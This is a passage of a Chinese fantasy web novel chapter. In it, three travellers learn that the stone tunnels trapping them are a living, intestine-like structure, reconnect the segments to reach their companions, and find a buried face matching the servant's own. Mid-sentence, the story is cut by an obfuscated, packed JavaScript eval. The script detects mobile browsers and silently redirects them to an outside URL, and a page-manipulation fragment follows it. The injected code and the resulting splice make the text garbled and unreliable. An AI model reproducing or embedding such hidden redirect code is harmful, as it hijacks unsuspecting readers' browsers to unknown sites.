原本冷得打颤的福源被二人盯着,如同入了狼群的羊——他哆嗦着问道:“怎、怎么了?”
“不是他。”谢公子知道自家仆人的特性,他的蠢样经年不变很难有人模仿得如此之像。
福源只觉得饿狼的目光又收了回去,他一头雾水地看着二人孤独地抱紧了胳膊。
“看来问题出在这里。”谢照乘敲了敲石壁。
这时霍不染也发现了端倪,“针孔不见了。”
谢照乘抬头看去,即使银针被人取走针孔又怎么可能平白无故消失?
他敛眉思索了一会儿,又上手摸了摸石壁最后又像给人看病般凑近听了听。
等做完这些事,他把二人召集过来。
“两个猜测。”谢公子环视二人。
“一是有高人在旁,可以隐去声息不被发现。”
说完他看着霍不染,后者冷淡地掀起眼皮。
“能在我拼尽全力之下保持踪迹者——”
“当世未有。”
她的语气很平静但说出来的话却是不怯锋芒。
谢照乘不由自主咽了口口水,按耐住乱跳的心脏缓声道:“第二个猜测。”
他舔了舔嘴唇,尽量稳住声线。
“这地方是活的。”
此话一出,三人默契地停了一瞬呼吸。
静谧之中福源偷偷看向头顶,沟沟壑壑的缝隙里似乎藏着乱转的眼珠。
他急忙瞥开视线,却觉得后背阴风阵阵像是有无数双手轻拢慢捻……
“说下去。”霍不染最先缓过神来。
谢照乘道:“既然没人把针拔出来,那有没有可能是石壁把针吸了进去。”
他指了指喉咙演示道:“就像吸气吐气,包裹着我们的石道在呼吸之间吞下了那两根针。”
呼吸……
福源缩着肩膀觉得周遭全是血盆大口隐在四周。
“因石壁庞大呼吸起伏就极其微小,即使是你用灵力探查也只会以为是山中正常动静。”
谢公子敲了敲扇子补充道:“但这差别逃不过医者,我刚才诊断了一番发现它确有呼吸。”
霍不染想到他刚才趴在石壁上倾听的模样,顺着他话说道:“我们是在它的肚中?”
福源立刻睁大眼睛面露惊恐。
幸好谢照乘否认道:“不像。”
还未等他喘过气来只听自家公子低声道:“我看更像是某一处关窍比如……肠子。”
福源提着的心已然碎了。
就连霍不染平时对敌更多的是一剑封喉,没有过肠子心肝满地乱流的嗜好。
唯有谢公子满面红光,愈说愈兴奋。
“我学医之时把人体剖开细细观察过内里机关,这段甬道拐角多形状奇特,与肠子的特点十分相像,特别呼吸的快慢更是……”
“咳。”霍不染看了眼僵直的福源,提醒道:“说得简单些。”
谢照乘不快地点了下扶手,没什么情绪起伏说道:“我推测此石道类似一段人肠,而且这些肠子会自发截断所以我们才会有进无回。”
霍不染一点就通,说道:“钟师兄他们也在这肠子中?”
“没错。”谢公子对她没提起谢如琢感到心情大好,说话也柔和许多。
“你当时放出灵力没有探出人气,我想这些肠子并没有好好呆在原来位置。”
霍不染细细一想觉得他说得有理,于是道:“既然能截断也可拼合。”
“可以一试。”
福源见二人说着说着便抛下自己,当即崩溃道:“谁能告诉我究竟发生了什么!”
谢公子不耐地瞥他一眼,明明已把事情说得如此清晰这个榆木脑袋竟然还没有开窍。
他刚想张口却被霍不染拦住。
“我来吧。”
霍不染怕他一开口又是肠子掉满地,于是寻了个通俗比喻解释道:“把许多人装进麻袋再以泥浆灌之。”
福源蓦地睁大眼睛。
“麻袋便会沉浮在其中。而我们现在便是被捆在袋中。”
“麻袋……人肠……”
福源呆呆重复道。
谢公子在一旁补充,“现在我们把断了的肠接起来或许可以找到出路。”
肠子接起来……会通向……
福源一个激灵觉得有些反胃。
“这里。”谢照乘说道:“从这往上注入灵力寻找——”
他见福源接近崩溃,终于好心地借用霍不染的说法。
“其他的麻袋道。”
霍不染依言把手掌贴上,可惜甬道蠕动十分危小她辨别不出。
谢公子急得甩了下扇子突然想到什么,抓着手摁在心口。
“让我也听听。”
霍不染看着二人交缠的手指,可惜谢公子沉浸在山中人肠的奇景之中无暇顾及其他。
她只好放弃反抗,贴着他的胸口把所听所感分享过去。
感受是相互的。当谢公子闭目细细聆听山肠余韵之时,霍不染也默默感受着他的心跳。
“咚咚、咚——”
并不算十分有力的跳动从手心传来。
他的胸膛平坦坚韧像是一层冰用力一推就会碎了。
霍不染的视线不由自主移到脸上。
谢神医此刻醉心医术一改往日矜骄神色,敛目凝神,专注的模样倒真有几分世家贵公子的神韵。
她看了两眼又觉得他太过瘦弱不是练武修行的好苗子,若落在她手下必定每日早课不能罢休。
可又转念一想,人家本就是锦衣玉食的小少爷。
谢照乘与修行之士不同。
她第一次有了这个认知。
“有了。”
谢公子笑道:“上行五里,东南三里转右侧。”
载着他们的“麻袋道”便慢慢朝着目的地进发。
临近方位由于对面也在活动,谢公子只能沉心静听为她指引方向。
不知不觉中二人交叠的手早已暖过小药炉。
“到了!”谢照乘兴奋地捏了捏攥着的手。
给人看病已没有多大意思,给山问诊却还是头一遭。
要不怎么说他谢照乘年纪轻轻得药谷真传,果然家世相貌才智哪一样都是顶尖。
他得意道:“撞上去。”
“等等!”
福源伸出颤抖的手,“若里面有个妖怪可怎么办?”
谢照乘笑他话本子看多了又催促霍不染。
“稍等。”她贴近石壁静静地听了会儿。
二人不知何意,只好疑惑等待。
过了片刻,霍不染放松道:“是如琢。”
福源问道:“二公子和您说话了?”
“没有。”霍不染回道:“我听到了一种鼓点,这是我幼年练剑时他在一旁常吹的音律。”
说罢她放出灵力引导甬道向对方撞去。
原本还着急的谢照乘却是不笑了,他“唰”地抽回手走到一边。
等霍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16547317|176481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不染灵力引导成功,才觉得手边空落落而人已经快把脸拉到地上。
她还没来得及多想只听前方传来响声,原本坚硬的石壁突然融化一般化为黑泥软塌塌地往下掉。
泥中猛地钻出五根手指——
“妖怪!”福源大喊道。
五指合拢,钟正的声音从泥中传来。
“退后。”
有力的拳风穿过狭长的石道,淤泥炸在壁上。
钟正与谢如琢出现在洞口。
二人看着也无大碍,只是面色稍有疲惫看来也是被突然困在甬道之中。
霍不染立刻把谢公子的推断说给二人听,随后三人聚在一块耳语片刻。
“我们轮流输送灵力寻找其他甬道。”钟正说道:“只是甬道活动的动静过于细微,恐怕要麻烦谢道友。”
谢照乘虽然心中有气但也知道当务之急便是找到出口,遂点头应下。
由于霍不染消耗灵气过多,换上钟正打头阵。
他的灵力十分醇厚刚释放出来众人只觉得脚下一颤紧接着竟有坠落的感觉。
“钟师兄。”谢公子出言引导,“一开始灵力不要过于充沛,先尝试收回五成。”
钟正点了下头,慢慢控制灵力的释放。
众人终于又有了脚踏实地之感,谢公子见状才把二指搭在钟正腕上细细聆听方位。
霍不染看着他笔直的两指,眼中闪过一丝疑惑。
时间一分一秒过去,所有人都屏气凝神怕打扰二人。
终于,谢照乘开口道:“下方八里处转左接二里旋上。”
钟正依言操控灵力赶往,所有人往后退开只听又一声“咔嚓”像是机关咬合在一块的声响随后眼前坚硬的石壁又化成了黑泥。
几人把黑泥清理后换谢如琢上场。
“劳烦大哥了。”谢如琢说道。
谢照乘只轻轻点了下头,随后拿出扇子搁在谢如琢手上。
除了探得方位是交流了两句,其余时间两兄弟淡漠仿佛是陌生人。
第三截断肠接上之后,众人所在的石道已一眼望不到头。
谢公子随手扔下脏了的扇子说道:“继续。”
霍不染走上前来还没开口一只手便搭了过来。
“速战速决,本公子累了。”
霍不染抬手放出灵力。
这一截大概也知谢公子乏力竟是听话地就在正前方二里之处乖乖等待。
谢公子慢腾腾地松开手,看着眼前的黑泥静悄悄地打了个哈欠。
“清理完黑泥休息一会儿吧。”霍不染说道。
谢公子整了整衣袖随后抬着下巴飘飘然走了。
“我来清理。”福源自告奋勇闯到最前。
拖了这么久的后腿,总算有了用武之地。
打架他不行,干活他在行!
他撩起袖子往泥中一搅便扒拉走大半。
也怪他气运不佳,这段甬道的泥土仿佛怎么也掏不完。他只好伸进半个身子把深处的泥土掏出。
掏着掏着他又觉得潮湿松软的土像是小时候玩的泥巴,不由自主地捏了两下。
软绵绵的泥土受不住他的蹉跎又掉下一大块,福源欣喜地清理干净再回头突然对上一张人脸。
他被吓得呆在原地,等回过神想要大喊之时却感觉有些不对。
再一次壮着胆子凑近看了看,他猛地瞪大双眼——
这张被埋在土里污垢不堪的脸,怎么与他长得一模一样。